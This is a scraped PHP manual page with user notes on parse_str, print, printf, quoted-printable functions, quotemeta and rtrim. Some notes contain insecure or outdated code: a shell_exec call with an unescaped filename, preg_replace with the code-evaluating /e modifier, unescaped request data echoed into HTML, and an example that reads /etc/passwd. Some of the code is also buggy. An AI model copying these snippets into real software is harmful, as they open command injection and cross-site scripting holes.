       $allkeys=array_keys($stuffIn);
       if(array_slice($intArray,0,sizeof($allkeys))==$allkeys)
           $nokey=true;
       else
           $nokey=false;
       foreach($allkeys as $aKey){
           if(!$nokey) $toKey=$aKey;
           cfg_recurse($stuffIn[$aKey], $keysofar."[".$toKey."]", $toAppend);
       }
   }else
       $toAppend[]=$keysofar."=".str_replace("\n",$newline,$stuffIn);
}
?>

Note that these functions support nested arrays of unlimited levels ;)
Matt Curtis
09-Sep-2004 11:46
If the querystring contains duplicate keys in the key-value pairs, parse_str will only return the last instance of the value.  For example, in the following:

<?php
$mystr = "test1=blah&test2=bleh&test1=burp";
parse_str($mystr, $myarray);
echo $myarray['test1'];
?>
The value output will be 'burp'.

I wrote a function that takes a querystring and returns the the key-value pairs as a two-dimensional array so each duplicate key is available:

<?php
$str = "test1=blah&test2=bleh&test1=burp";
$valsarray = parse_str_ext($str);
echo $valsarray['test1'][0];
echo $valsarray['test1'][1];
echo $valsarray['test2'][0];

function parse_str_ext($toparse) {
   $returnarray = array();
   $keyvaluepairs = split("&", $toparse);
   foreach($keyvaluepairs as $pairval) {
       $splitpair = split("=", $pairval);
       if(!array_key_exists($splitpair[0], $returnarray)) $returnarray[$splitpair[0]] = array();

       $returnarray[$splitpair[0]][] = $splitpair[1];
   }
   return $returnarray;
}
?>

Output will be:
blah
burp
bleh
17-Jun-2004 08:23
Note that variables cannot contain a DOT (.) in PHP. So, DOT will be replaced by underscore.
e.g. variables like "variable.something" will be converted into "variable_something".
01-Apr-2004 02:58
The documentation does not appear to mention that parse_str also urldecodes each item in the resulting array.

There also appears to be a bug in earlier versions of PHP that causes these urldecoded strings to also be escaped.  (Certainly I was having problems with %22 being turned into /" on my server, but not on my development box, despite forcing magic quotes off).
dante at lorenso dot com
06-Jul-2003 01:11
You can perform the opposite of this function if you like with a function like I've built below:

   /**
     * Reverse of parse_str().  Converts array into
     * string with query format
     */
   function query_str ($params) {
       $str = '';
       foreach ($params as $key => $value) {
           $str .= (strlen($str) < 1) ? '' : '&';
           $str .= $key . '=' . rawurlencode($value);
       }
       return ($str);
   }

-- Dante
add a note add a note

后退 | 起点 | 前进
ord | 上一级 | print


print

(PHP 3, PHP 4, PHP 5)

print -- Output a string

Description

int print ( string arg )

Outputs arg. Returns 1, always.

print() is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.

例子 1. print() examples

<?php
print("Hello World");

print "print() also works without parentheses.";

print "This spans
multiple lines. The newlines will be
output as well";

print "This spans\nmultiple lines. The newlines will be\noutput as well.";

print "escaping characters is done \"Like this\".";

// You can use variables inside of a print statement
$foo = "foobar";
$bar = "barbaz";

print "foo is $foo"; // foo is foobar

// You can also use arrays
$bar = array("value" => "foo");

print "this is {$bar['value']} !"; // this is foo !

// Using single quotes will print the variable name, not the value
print 'foo is $foo'; // foo is $foo

// If you are not using any other characters, you can just print variables
print $foo;          // foobar

print <<<END
This uses the "here document" syntax to output
multiple lines with $variable interpolation. Note
that the here document terminator must appear on a
line with just a semicolon no extra whitespace!
END;
?>

For a short discussion about the differences between print() and echo(), see this FAQTs Knowledge Base Article: http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40

注: 由于这是一个语言结构而非函数，因此它无法被变量函数调用。

See also echo(), printf(), and flush().

add a note add a note User Contributed Notes
vincent at bevort dot com
22-May-2006 03:36
Sometime there is no choice in using a single or double quote
ie when using special chars to format the output to make the HTML more readable you have to use the Double qoutes. Single quotes make PHP fotmat the '\n' as text
phpnet at i3x171um dot com
21-May-2006 10:41
I have written a script to benchmark the several methods of outputting data in PHP: via single quotes, double quotes, heredoc, and printf. The script constructs a paragraph of text with each method. It performs this construction 10,000 times, then records how long it took. In total, it prints 160,000 times and records 16 timings. Here are the raw results.

Outputted straight to browser--

Single quotes: 2,813 ms
...with concatenation: 1,179 ms
Double quotes: 5,180 ms
...with concatenation: 3,937 ms
heredoc: 7,300 ms
...with concatenation: 6,288 ms
printf: 9,527 ms
...with concatenation: 8,564 ms

Outputted to the output buffer--

Single quotes: 8 ms
...with concatenation: 38 ms
Double quotes: 8 ms
...with concatenation: 47 ms
heredoc: 17 ms
...with concatenation: 49 ms
printf: 54 ms
...with concatenation: 52 ms

A nice graph of the script's output can be found here:
http://i3x171um.com/output_benchmarks/ob.gif

So what should you choose to print your text? I found several things out writing this.

First, it should be noted that the print and echo keywords are interchangeable, performance-wise. The timings show that one is probably an alias for the other. So use whichever you feel most comfortable with.

Second, if you've ever wondered which was better, the definitive answer is single quotes. Single quotes are at least four times faster in any situation. Double quotes, while more convenient, do pose a debatably significant performance issue when outputting massive amounts of data.

Third, stay away from heredoc, and absolutely stay away from [s]printf. They're slow, and the alternatives are there.

The source of my script can be found here:
http://i3x171um.com/output_benchmarks/ob.txt

DO NOT RUN THE SCRIPT ON THE INTERNET! Run it instead from localhost. The script outputs ~45 megabytes of text in an html comment at the top of the page by default. Expect the benchmark to take ~45 seconds. If this is too long, you can change the amount of iterations to a lower number (the results scale accurately down to about 1,000 iterations).
g8z at yahoo dot com
14-Mar-2006 03:16
I wanted to print a file on a Windows 2003 server from PHP, and found the "print" function instead. Just in case some other users are trying to physically print to a printer, rather than print to the screen, here's a function to do it.

This function will print a single file of one of these types: pdf, doc, xls, rtf, or plain text. If you have the full .exe path, you can print other document types, too. The shell_exec function is not enabled in safe mode.

Courtesy of Darren's Script Archive: http://www.tufat.com

<?php

function print_file($filename)
{
   // path to your adobe executable
   $adobe_path='"C:/Program Files/Adobe/Acrobat 7.0/Reader/AcroRd32.exe"';

   $ext='';
   $ext=strrchr($filename,'.');
   $ext=substr($ext,1);
   $ext_xl=substr($ext,0,2);

   if ($ext=='pdf') {
       shell_exec ($adobe_path.' /t '.$filename);
   }
   else if ($ext=='doc'||$ext=='rtf'||$ext=='txt') {
       $word = new COM("Word.Application");
       $word->visible = true;
       $word->Documents->Open($filename);
       $word->ActiveDocument->PrintOut();
       $word->ActiveDocument->Close();
       $word->Quit();
   }
   else if ($ext_xl=='xl') {
       $excel = new COM("Excel.Application");
       $excel->visible = true;
       $excel->Workbooks->Open($filename);
       $excel->ActiveWorkBook->PrintOut();
       $excel->ActiveWorkBook->Close();
       $excel->Quit();
   }
}

// example of printing a PDF

print_file("C:/photo_gallery.pdf");

?>
hw{}cho.de
07-Feb-2006 12:05
@jon: you have to use "ob_flush()" before "flush()" - see notes there.
jon at tap dot net
06-Dec-2005 05:48
I have a small utility run from the command line that processes a potentially huge list of files. As it can take hours to complete, I stuck a

print '.';

statement in the body of the main loop to prove that something was  happening.

For reasons unknown to me, the utiliity suddenly started buffering the output such that it printed nothing until completion, defeating the purpose of the running monitor. Adding flush() statements did nothing. The problem was solved by using

fputs(STDOUT, '.');

but I have no idea why.
james-web at and dot org
26-Jul-2005 06:47
Note that if you want to dump the value of a variable, you want to use print_r(), var_dump() or var_export().
ejallison at gmail dot com
17-Jul-2005 06:10
This is a simple function for printing debug comments that I didn't think of for a long time. Maybe it'll serve you good too.

<?php

function printd($str) {
  if ($debug) { echo $str; }
}

// ...

if ($valueCalculatedEarlierInTheScript == 3) {
  doSomethingWithNoOutput();
  printd("doSomethingWithNoOutput() has executed.");
}

?>

It's mostly just to make sure everything is running without having to go through everything and put in echo "Step #whatever has executed" whenever something mysterious isn't working.
gem at rellim dot com
05-Nov-2004 05:28
HERE Documents can reference arrays as long as you enclose
the vars in {}.

Like this:

<?php

$line = array( 'title' => "Hello", 'date' => 'Today');

echo <<<EOT
Title: {$line['title']}
Date: {$line['date']}
EOT;

?>

Run this and get
Title: Hello
Date: Today

More info here, scroll down to "heredoc syntax":
http://www.php.net/manual/en/language.types.string.php
rjl at xs4all dot nl
16-Jan-2004 08:08
To elaborate on above example adding an
array variable
$text = <<<END
This uses the "here document" syntax to output
multiple lines with $variable interpolation. Note
that the here document terminator must appear on a
line with just a semicolon no extra whitespace!
User = {$_REQUEST['user']}
END;

'print $text;' Will output the string. Very handy for storing HTML.
Or adding {} around the array will allow you to use
above mentioned html blocks in conjuction with forms.

Rene =<>=
add a note add a note

后退 | 起点 | 前进
parse_str | 上一级 | printf


printf

(PHP 3, PHP 4, PHP 5)

printf -- Output a formatted string

Description

int printf ( string format [, mixed args [, mixed ...]] )

Produces output according to format, which is described in the documentation for sprintf().

Returns the length of the outputted string.

See also
print(),
sprintf(),
vprintf(),
sscanf(),
fscanf(), and
flush().

add a note add a note User Contributed Notes
php at iain dot nl
14-Mar-2006 11:24
for arrays, there is vprintf();

alternatively, if you have it all in one array (including the format), this will do the trick:

<?php

$goodevil = array ('There is a difference between %s and %s', 'good', 'evil');
echo vprintf(array_shift($goodevil),$goodevil);

?>

and without mangling your array, you might use call_user_func_array:

<?php

$goodevil = array ('There is a difference between %s and %s', 'good', 'evil');
echo call_user_func_array('sprintf',$goodevil);

?>
php at mole dot gnubb dot net
10-Apr-2005 09:15
[Editor's Note: Or just use vprintf...]

If you want to do something like <?php printf('There is a difference between %s and %s', array('good', 'evil')); ?> (this doesn't work)  instead of <?php printf('There is a difference between %s and %s', 'good', 'evil'); ?> you can use this function:

<?php
function printf_array($format, $arr)
{
   return call_user_func_array('printf', array_merge((array)$format, $arr));
}
?>

Use it the following way:
<?php
$goodevil = array('good', 'evil');
printf_array('There is a difference between %s and %s', $goodevil);
?>
and it will print:
There is a difference between good and evil
codeslinger at compsalot dot com
31-Jan-2005 12:24
Several people have commented about problems with aligning numbers.  I just wanted to add a bit of clarification.

According to the spec all True Type Fonts (especially porpotional spaced fonts) use a fixed width for numeric digits.  All digits have the same width which is equal to the width of "0".

Where things go haywire when trying to align numbers is that the space character does not have the same width as a digit when using a porportional spaced font.

Therefore if you want to line up a column of numbers, you can not use leading spaces to position them unless you use the same quantity of space characters for each row. e.g. your numbers have leading zeros etc.

The simplest solution is to switch to a monospaced font.  Alternativly you can use positioning tags.

Summary: Your numbers will always line up properly regardless of the font used, if you get the starting position to be consistant.
lordfarquaad at notredomaine dot net
04-Mar-2004 10:48
In response to chris dot breen at accurate dot com :

This will work, but i didn't try:
<?php
$format = 'The %2$s contains %1$d monkeys.
         That is a nice %2$s full of %1$d monkeys.';
printf($format, $num, $location);
?>

Your problem came from the fact that in the string "\$s", the $ is simply escaped by the \, but but you must not do that with single quoted strings. Try to echo your strings to test it, or just go to http://www.php.net/manual/en/language.types.string.php
php at soulcoffee dot com
24-May-2003 04:37
If you are experiencing weird difficulties with floating point numbers, namely ones that appear to be overflow errors, then it could be a compilation error. Try the following at a prompt:

python -c 'int(10.1); int(10000.3); int(1.2)'

If that overflows, then you'll need to do the following:

1) Fix your CFLAGS (probably change -march=pentium4 to -march=pentium3)
2) Recompile glibc
3) Recompile mod_php
4) Restart Apache
5) Check your script, it should be fine now

NOTE: This is _not_ a bug in PHP. It just appears that way because there is a problem in the underlying libraries.
brian at exclamationlabs dot com
03-Jan-2003 04:34
If you are printing data in a <pre>, courier font, or otherwise non-variable length font (like a terminal), you might have use for printf's justify feature.
<?php
$heading1 = "Label 1";
$heading2 = "Label 2";

$value1 = "31298";
$value2 = "98";

print "<pre>\n";
printf ("%'.-15.15s%'.6.6s\n", $heading1, $value1);
printf ("%'.-15.15s%'.6.6s\n", $heading2, $value2);
print "</pre>\n";
?>

Very handy for simple formatting..
eugenew at starhub dot net dot sg
21-Dec-2002 01:13
If anyone is looking for writing a quine using printf(),
this is my example:

<?php $f='<?php $f=%c%s%c; printf($f,39,$f,39); ?>'; printf($f,39,$f,39); ?>

This also helps those who are new to printf() see one way of using the 'mixed args' part, rather than just a single argument as in most examples I've seen.
dalu at uni SPAMHAM dot de
11-Dec-2002 02:43
copypasted from msdn

A format specification, which consists of optional and required fields, has the following form:

%[flags] [width] [.precision] [{h | l | I64 | L}]type

Each field of the format specification is a single character or a number signifying a particular format option. The simplest format specification contains only the percent sign and a type character (for example, %s). If a percent sign is followed by a character that has no meaning as a format field, the character is copied to stdout. For example, to print a percent-sign character, use %%.

The optional fields, which appear before the type character, control other aspects of the formatting, as follows:

type
Required character that determines whether the associated argument is interpreted as a character, a string, or a number (see the printf Type Field Characters table.
flags
Optional character or characters that control justification of output and printing of signs, blanks, decimal points, and octal and hexadecimal prefixes (see the Flag Characters table). More than one flag can appear in a format specification.
width
Optional number that specifies the minimum number of characters output (see printf Width Specification).
precision
Optional number that specifies the maximum number of characters printed for all or part of the output field, or the minimum number of digits printed for integer values (see the How Precision Values Affect Type table).
h | l | I64 | L
Optional prefixes to type-that specify the size of argument (see the Size Prefixes for printf and wprintf Format-Type Specifiers table).
sam[NOSPAM] at [NOSPAM]kingdomfaith dot com
29-Jun-2002 03:45
I don't know if this is useful to anyone, but here goes! Example for using the printf function to output an object.

class person
{
   var $name = "";
   function name($newname = NULL)
   {
       if(! is_null($newname))
       {
           $this->name=$newname;
       }
       return $this->name;
   }
   var $surname = "";
   function surname($newsurname = NULL)
   {
       if(! is_null($newsurname))
       {
           $this->surname=$newsurname;
       }
       return $this->surname;
   }
   var $age = "";
   function age($newage = NULL)
   {
       if(! is_null($newage))
       {
           $this->age=$newage;
       }
       return $this->age;
   }
}

$bob = new person;
$bob->name('Bob');
$bob->surname('Builder');
$bob->age('50');

printf("Hi %s, your surname is %s and you are %s years old", $bob->name, $bob->surname, $bob->age);

Outputs:

Hi Bob, your surname is Builder and you are 50 years old
maybird99 at yahoo dot com
26-Feb-2002 11:20
instead of writing a function to round off a float (let's call it 'x') accurately, it's much easier to add a small number to x and then truncate it...
For example: if you want to round off to the nearest integer, just add 0.5 to x and then truncate it. if x=12.6, then it would calculate 13.1, and truncate it to 13. If x=14.4, it would calculate 14.9 and truncate it to 14.
ezislis at mail dot ru
10-Feb-2002 11:25
be careful with integers, they cant hold large values.

printf("%d",10023123553.45634663);
will print out: 1433188961
and
printf("%.0f",10023123553.45634663);
will print out: 10023123553
deekayen at hotmail dot com
12-Oct-2001 08:54
You can use this function to format the decimal places in a number:

$num = 2.12;
printf("%.1f",$num);

prints:

2.1

see also: number_format()
shepard at ameth dot org
18-Sep-2001 10:37
Be sure that the output channel is available to write on before executing printf()!  Some functions in classes available from various sources (in my case, DB_Sql::query() in PHPLIB) assume that printing will work, even after the default output stream has been closed.

For me the issue was most notable in PHP4 session management when I was creating my own sess_write() handler.  Since I was unable to find any function that checks for the output stream that printf() uses, I just had to drop the crazy use of the printf(). (does some function already exist to check for the presence of an output stream?)
arunass at anm dot org
22-Aug-2000 10:38
There are times when you don't want a number like .0002 to be truncated to .00 - where you'd like to actually have at least some number of significant digits, not just the decimal places.
Here's a sample of how you might do that, although scientific notation might be better.  Why doesn't PHP support some of the other C style floating point formats?

//  string FloatFormat(float $Value, int $Precision)
//  - AGS 21/08/2000
//
//There is no range checking performed here so the
//  function will vaporize on out of range values.

function FloatFormat($Value, $Precision)
{
   $decimals = log10(abs($Value));

   $decimals = - (intval(min($decimals, 0)) - $Precision);

   $format = "%." . $decimals . "f";
   return sprintf($format, $Value);
}
wtuomela at calpoly dot edu
15-Jul-2000 05:57
Instead of using the precision function above, you can just use printf's precision for floats.  It's just like C, "%.(precision)f".  ex. printf("%.2f", $float); Will print the variable $float with 2 decimal places.
jeremiah at alcyon dot net
07-Jul-2000 01:15
Someone mentioned that the dropping of digits is pernicious; here's a small function you can throw in an include file or something to ensure some accurate precision.

//---------------------
// float precision (float, integer)
//
//                  - jlph 6.30.2000
//
// A function to limit the # of decimal places
// displayed in a float. Takes a float and an integer.
// The float will be taken to the decimal place
// specified by the integer and rounded up accordingly.
// Returns a float with the corners smoothed off.
//---------------------

function precision ($value, $place){
       $value = $value * pow(10, $place + 1);
       $value = floor($value);
       $value = (float) $value/10;
       (float) $modSquad = ($value - floor($value));
       $value = floor($value);
       if ($modSquad > .5){
               $value++;
       }
       return $value / (pow(10, $place));
}

//---------------------
jarred at coltonsolutions dot com
24-Feb-2000 09:03
As far as I know, you should be able to simply include &nbsp; in the format string, so something like this:

printf("Value of I: &nbsp;&nbsp;%d\n", $i);

printf is the C/C++ style of doing formatted output, and as such the only special characters in the format string are '\' and '%', and characters immediately following these special cases may be affected.  (So "%c" mean a character, while "%%c" means print a percent sign followed by the letter c.)
dhosek at excite dot com
05-Dec-1999 06:27
Be careful:
printf ("(9.95 * 100) = %d \n", (9.95 * 100));

'994'

First %d converts a float to an int by truncation.

Second floats are notorious for tiny little rounding errors.
pweinberg at mail dot plymouth dot edu
13-Oct-1999 01:19
echo vs. print vs. printf

echo simply spits out what you want.  print() is a function that will return either 0 or 1 based on failure or success.  printf is similar but is used for printing formatted output.
maird at webfeat dot ca
23-Sep-1999 03:43
Basic Example:

printf("QueryString is: %s this time",$StringName);
add a note add a note

后退 | 起点 | 前进
print | 上一级 | quoted_printable_decode


quoted_printable_decode

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

quoted_printable_decode -- Convert a quoted-printable string to an 8 bit string

Description

string quoted_printable_decode ( string str )

This function returns an 8-bit binary string corresponding to the decoded quoted printable string (according to RFC2045, section 6.7, not RFC2821, section 4.5.2, so additional periods are not stripped from the beginning of line). This function is similar to imap_qprint(), except this one does not require the IMAP module to work.

add a note add a note User Contributed Notes
umu
07-Feb-2006 06:38
...deed.ztinmehc-ut.zrh@umuumu@hrz.tu-chemnitz.deed...

and write [^=]{0,2} in the last regular expression
to avoid the soft linebreak "=" being the 77th char in line,
see my imap_8bit() emulation at
http://www.php.net/manual/en/function.imap-8bit.php#61216
steffen dot weber at computerbase dot de
23-Jul-2005 05:08
As the two digit hexadecimal representation SHOULD be in uppercase you want to use "=%02X" (uppercase X) instead of "=%02x" as the first argument to sprintf().
bendi at interia dot pl
29-Mar-2005 05:08
This function appeared twice already and in both versions it's got error in rule replacing chunk_split, because it misses the last line in encoded text if it's shorter than 73 characters.

My solution (got rid of replace_callback)
<?
function quoted_printable_encode( $sString ) {
   /*instead of replace_callback i used <b>e</b> modifier for regex rule, which works as eval php function*/
   $sString = preg_replace( '/[^\x21-\x3C\x3E-\x7E\x09\x20]/e', 'sprintf( "=%02x", ord ( "$0" ) ) ;',  $sString );
   /*now added to this rule one or more chars which lets last line to be matched and included in results*/
   preg_match_all( '/.{1,73}([^=]{0,3})?/', $sString, $aMatch );
   return implode( '=' . CR, $aMatch[0] );
}

?>
dmitry at koterov dot ru
19-Feb-2005 09:26
Previous comment has a bug: encoding of short test does not work because of incorrect usage of preg_match_all(). Have somebody read it at all? :-)

Correct version (seems), with additional imap_8bit() function emulation:

if (!function_exists('imap_8bit')) {
 function imap_8bit($text) {
   return quoted_printable_encode($text);
 }
}

function quoted_printable_encode_character ( $matches ) {
   $character = $matches[0];
   return sprintf ( '=%02x', ord ( $character ) );
}

// based on http://www.freesoft.org/CIE/RFC/1521/6.htm
function quoted_printable_encode ( $string ) {
   // rule #2, #3 (leaves space and tab characters in tact)
   $string = preg_replace_callback (
     '/[^\x21-\x3C\x3E-\x7E\x09\x20]/',
     'quoted_printable_encode_character',
     $string
   );
   $newline = "=\r\n"; // '=' + CRLF (rule #4)
   // make sure the splitting of lines does not interfere with escaped characters
   // (chunk_split fails here)
   $string = preg_replace ( '/(.{73}[^=]{0,3})/', '$1'.$newline, $string);
   return $string;
}
drm at melp dot nl
09-Feb-2005 07:32
A easier, improved way of encoding for quoted-printable transfer:

------
function quoted_printable_encode_character ( $matches ) {
   $character = end ( $matches );
   return sprintf ( '=%02x', ord ( $character ) );
}

// based on http://www.freesoft.org/CIE/RFC/1521/6.htm
function quoted_printable_encode ( $string ) {
   // rule #2, #3 (leaves space and tab characters in tact)
   $string = preg_replace_callback (
     '/[^\x21-\x3C\x3E-\x7E\x09\x20]/',
     'quoted_printable_encode_character',
     $string
   );

   $newline = "=\r\n"; // '=' + CRLF (rule #4)

   // make sure the splitting of lines does not interfere with escaped characters
   // (chunk_split fails here)
   preg_match_all ( '/.{73}([^=]{0,3})/', $string, $match ); // Rule #1
   return implode ( $newline, $match[0] );
}
-----
tamas dot tompa at kirowski dot com
20-Feb-2004 11:46
i have found a bug in pob at medienrecht dot NOSPAM dot org
's qp_enc function. in quoted printable messages need to convert the first pont in the lines too...
here is the fixed code:

function qp_enc( $input = "", $line_max = 76, $space_conv = false ) {

   $hex = array('0','1','2','3','4','5','6','7','8','9',
'A','B','C','D','E','F');
   $lines = preg_split("/(?:\r\n|\r|\n)/", $input);
   $eol = "\r\n";
   $escape = "=";
   $output = "";

       while( list(, $line) = each($lines) ) {
               //$line = rtrim($line); // remove trailing white
space -> no =20\r\n necessary
               $linlen = strlen($line);
               $newline = "";
               for($i = 0; $i < $linlen; $i++) {
                       $c = substr( $line, $i, 1 );
                       $dec = ord( $c );
                       if ( ( $i == 0 ) && ( $dec == 46 ) ) { //
convert first point in the line into =2E
                               $c = "=2E";
                       }
                       if ( $dec == 32 ) {
                               if ( $i == ( $linlen - 1 ) ) { // convert
 space at eol only
                                       $c = "=20";
                               } else if ( $space_conv ) {
                                       $c = "=20";
                               }
                       } elseif ( ($dec == 61) || ($dec < 32 ) ||
($dec > 126) ) { // always encode "\t", which is *not* required
                               $h2 = floor($dec/16);
                               $h1 = floor($dec%16);
                               $c = $escape.$hex["$h2"].$hex["$h1"];
                       }
                       if ( (strlen($newline) + strlen($c)) >=
$line_max ) { // CRLF is not counted
                               $output .= $newline.$escape.$eol; //
soft line break; " =\r\n" is okay
                               $newline = "";
                               // check if newline first character will
be point or not
                               if ( $dec == 46 ) {
                                       $c = "=2E";
                               }
                       }
                       $newline .= $c;
               } // end of for
               $output .= $newline.$eol;
       } // end of while
       return trim($output);
}
pinkpanther at swissonline dot ch
05-Jan-2003 07:31
Sorry, above I mixed up QP-Decode and UrlDecode, the example I gave above is in fact UrlDecode:

function UrlDecode($string) {
return preg_replace("/%([0-9A-Fa-f]{2})/e", "chr(hexdec('\\1'))", $string);
}

f.e. replaces '%3F' with '?'

Quoted-printable would be:

function qp_decode($string) {
return preg_replace("/=([0-9A-F]{2})/e", "chr(hexdec('\\1'))", $string);
}

f.e. replaces '=20' with ' '
pob at medienrecht dot NOSPAM dot org
19-Jul-2001 04:06
If you do not have access to imap_* and do not want to use
$message = chunk_split( base64_encode($message) );
because you want to be able to read the source of your mails, you might want to try this:
(any suggestions very welcome!)

function qp_enc($input = "quoted-printable encoding test string", $line_max = 76) {

   $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
   $lines = preg_split("/(?:\r\n|\r|\n)/", $input);
   $eol = "\r\n";
   $escape = "=";
   $output = "";

   while( list(, $line) = each($lines) ) {
       //$line = rtrim($line); // remove trailing white space -> no =20\r\n necessary
       $linlen = strlen($line);
       $newline = "";
       for($i = 0; $i < $linlen; $i++) {
           $c = substr($line, $i, 1);
           $dec = ord($c);
           if ( ($dec == 32) && ($i == ($linlen - 1)) ) { // convert space at eol only
               $c = "=20";
           } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
               $h2 = floor($dec/16); $h1 = floor($dec%16);
               $c = $escape.$hex["$h2"].$hex["$h1"];
           }
           if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
               $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
               $newline = "";
           }
           $newline .= $c;
       } // end of for
       $output .= $newline.$eol;
   }
   return trim($output);

}

$eight_bit = "\xA7 \xC4 \xD6 \xDC \xE4 \xF6 \xFC \xDF        =          xxx            yyy      zzz          \r\n"
           ." \xA7      \r \xC4 \n \xD6 \x09    ";
print $eight_bit."\r\n---------------\r\n";
$encoded = qp_enc($eight_bit);
print $encoded;
madmax at express dot ru
04-Aug-2000 08:41
Some  browser (netscape, for example)
send 8-bit quoted printable text like this:
=C5=DD=A3=D2=C1= =DA

"= =" means continuos word.
 php function not detect this situations and translate in string like:
 abcde=f
gustavf at spamstop dot com
08-Jul-2000 01:25
This function does not recognize lowercase letters as part of the Quoted Printable encoding. RFC 1521 specifies:

Uppercase letters must be used when sending hexadecimal data, though a robust implementation may choose to recognize lowercase letters on receipt.
thomas at kenne dot dk
12-Apr-2000 07:09
Try the imap_8bit function, for converting an 8bit string to a quotad printable string.
sunil at nanjang dot com
12-Oct-1999 10:52
hi. i'm php developer in korean.

quoted print decode works well,

but <font color=blue>quoted_printable_decode(str_replace("=\r\n","",$string)</font> works better when MIME email decode.

MIME mail feeds every 76 char (maybe).
and feeding line tlanslate "=\r\n"

so, it better that use <font color=blue>quoted_printable_decode(str_replace("=\r\n","",$line)</font>
when quoted printable MIME decoding.

I test under php3.0.11,..
add a note add a note

后退 | 起点 | 前进
printf | 上一级 | quotemeta


quotemeta

(PHP 3, PHP 4, PHP 5)

quotemeta -- Quote meta characters

Description

string quotemeta ( string str )

Returns a version of str with a backslash character (\) before every character that is among these:
. \ + * ? [ ^ ] ( $ )

注: 本函数可安全用于二进制对象。

See also addslashes(),
htmlentities(),
htmlspecialchars(),
nl2br(), and
stripslashes().

add a note add a note User Contributed Notes
George Adams
17-Feb-2006 12:57
Took me a while to realize this was NOT the command I wanted for escaping potentially harmful characters in a string that would be used as part of a system command.  Instead, I needed either escapeshellarg() (http://www.php.net/manual/en/function.escapeshellarg.php) or escapeshellcmd() (http://www.php.net/manual/en/function.escapeshellcmd.php)
16-May-2001 06:41
This function escapes characters that have special meaning in regular expressions.  preg_quote() <http://php.net/manual/en/function.preg-quote.php> has similar functionality, but is more powerful since it escapes more characters (including one user-specified character).
04-Apr-2001 03:04
qutemeta() is note for quoting meta tags, but is for quoting characters which can be misunderstanded by php or a database.
add a note add a note

后退 | 起点 | 前进
quoted_printable_decode | 上一级 | rtrim


rtrim

(PHP 3, PHP 4, PHP 5)

rtrim -- Strip whitespace (or other characters) from the end of a string

Description

string rtrim ( string str [, string charlist] )

注: The second parameter was added in PHP 4.1.0

This function returns a string with whitespace stripped from the end of str. Without the second parameter, rtrim() will strip these characters:

  • " " (ASCII 32 (0x20)), an ordinary space.

  • "\t" (ASCII 9 (0x09)), a tab.

  • "\n" (ASCII 10 (0x0A)), a new line (line feed).

  • "\r" (ASCII 13 (0x0D)), a carriage return.

  • "\0" (ASCII 0 (0x00)), the NUL-byte.

  • "\x0B" (ASCII 11 (0x0B)), a vertical tab.

You can also specify the characters you want to strip, by means of the charlist parameter. Simply list all characters that you want to be stripped. With .. you can specify a range of characters.

例子 1. Usage example of rtrim()

<?php

$text = "\t\tThese are a few words :) ...  ";
$trimmed = rtrim($text);
// $trimmed = "\t\tThese are a few words :) ..."
$trimmed = rtrim($text, " \t.");
// $trimmed = "\t\tThese are a few words :)"
$clean = rtrim($binary, "\x00..\x1F");
// trim the ASCII control characters at the end of $binary
// (from 0 to 31 inclusive)

?>

See also trim() and ltrim().

add a note add a note User Contributed Notes
YAS
08-May-2006 09:01
To remove an unwanted character - example "." - if exist or not.

The example above doesn't include the case where there is no "."
If there is not "." at the example above the last word will be deleted.

Have fun with this code.

<?php
$text = "This string contains. some unwanted characters on the end .";
$text = trim($text);
$last = $text{strlen($text)-1};
if (!strcmp($last,"."))
{
  $text = rtrim($text, 'a..z');
  $text = rtrim($text, '.');
}
?>
gbelanger at exosecurity dot com
18-Feb-2006 06:31
True, the Perl chomp() will only trim newline characters. There is, however, the Perl chop() function which is pretty much identical to the PHP rtrim()

---

Here's a quick way to recursively trim every element of an array, useful after the file() function :

# Reads /etc/passwd file an trims newlines on each entry
$aFileContent = file("/etc/passwd");
foreach ($aFileContent as $sKey => $sValue) {
   $aFileContent[$sKey] = rtrim($sValue);
}

print_r($aFileContent);
Unimagined at UnaimaginedDesigns dot Com
16-Jan-2005 04:49
I needed a way to trim all white space and then a few chosen strings from the end of a string.  So I wrote this class to reuse when stuff needs to be trimmed.

<?php

class cleaner {

function cleaner ($cuts,$pinfo) {
$ucut = "0";
$lcut = "0";
while ($cuts[$ucut]) {
$lcut++;
$ucut++;
}
$lcut = $lcut - 1;
$ucut = "0";
$rcut = "0";
$wiy = "start";

while ($wiy) {

if ($so) {
$ucut = "0";
$rcut = "0";
unset($so);
}

if (!$cuts[$ucut]) {
$so = "restart";
} else {
$pinfo = rtrim($pinfo);
$bpinfol = strlen($pinfo);
$tcut = $cuts[$ucut];
$pinfo = rtrim($pinfo,"$tcut");
$pinfol = strlen($pinfo);

   if ($bpinfol == $pinfol) {
   $rcut++;
   if ($rcut == $lcut) {
   unset($wiy);
   }
   $ucut++;
   } else {
   $so = "restart";
   }
}
}

$this->cleaner = $pinfo;
}

}

$pinfo = "Well... I'm really bored...<br /><br>&nbsp;    \n\t&nbsp;<br><br /><br>&nbsp;    \r\r&nbsp;<br>\r<br /><br>\r&nbsp;    &nbsp;\n<br>      <br />\t";

$cuts = array('\n','\r','\t',' ',' ','&nbsp;','<br />','<br>','<br/>');

$pinfo = new cleaner($cuts,$pinfo);
$pinfo = $pinfo->cleaner;

print $pinfo;

?>

That class will take any string that you put in the $cust array and remove it from the end of the $pinfo string.  It's useful for cleaning up comments, articles, or mail that users post to your site, making it so there's no extra blank space or blank lines.
todd at magnifisites dot com
20-Aug-2003 09:19
This shows how rtrim works when using the optional charlist parameter:
rtrim reads a character, one at a time, from the optional charlist parameter and compares it to the end of the str string. If the characters match, it trims it off and starts over again, looking at the "new" last character in the str string and compares it to the first character in the charlist again. If the characters do not match, it moves to the next character in the charlist parameter comparing once again. It continues until the charlist parameter has been completely processed, one at a time, and the str string no longer contains any matches. The newly "rtrimmed" string is returned.
<?php
  // Example 1:
  rtrim('This is a short short sentence', 'short sentence');
  // returns 'This is a'
  // If you were expecting the result to be 'This is a short ',
  // then you're wrong; the exact string, 'short sentence',
  // isn't matched.  Remember, character-by-character comparison!
  // Example 2:
  rtrim('This is a short short sentence', 'cents');
  // returns 'This is a short short '
?>
HW
06-Jun-2003 09:32
$text = "This string contains some unwanted characters on the end.";
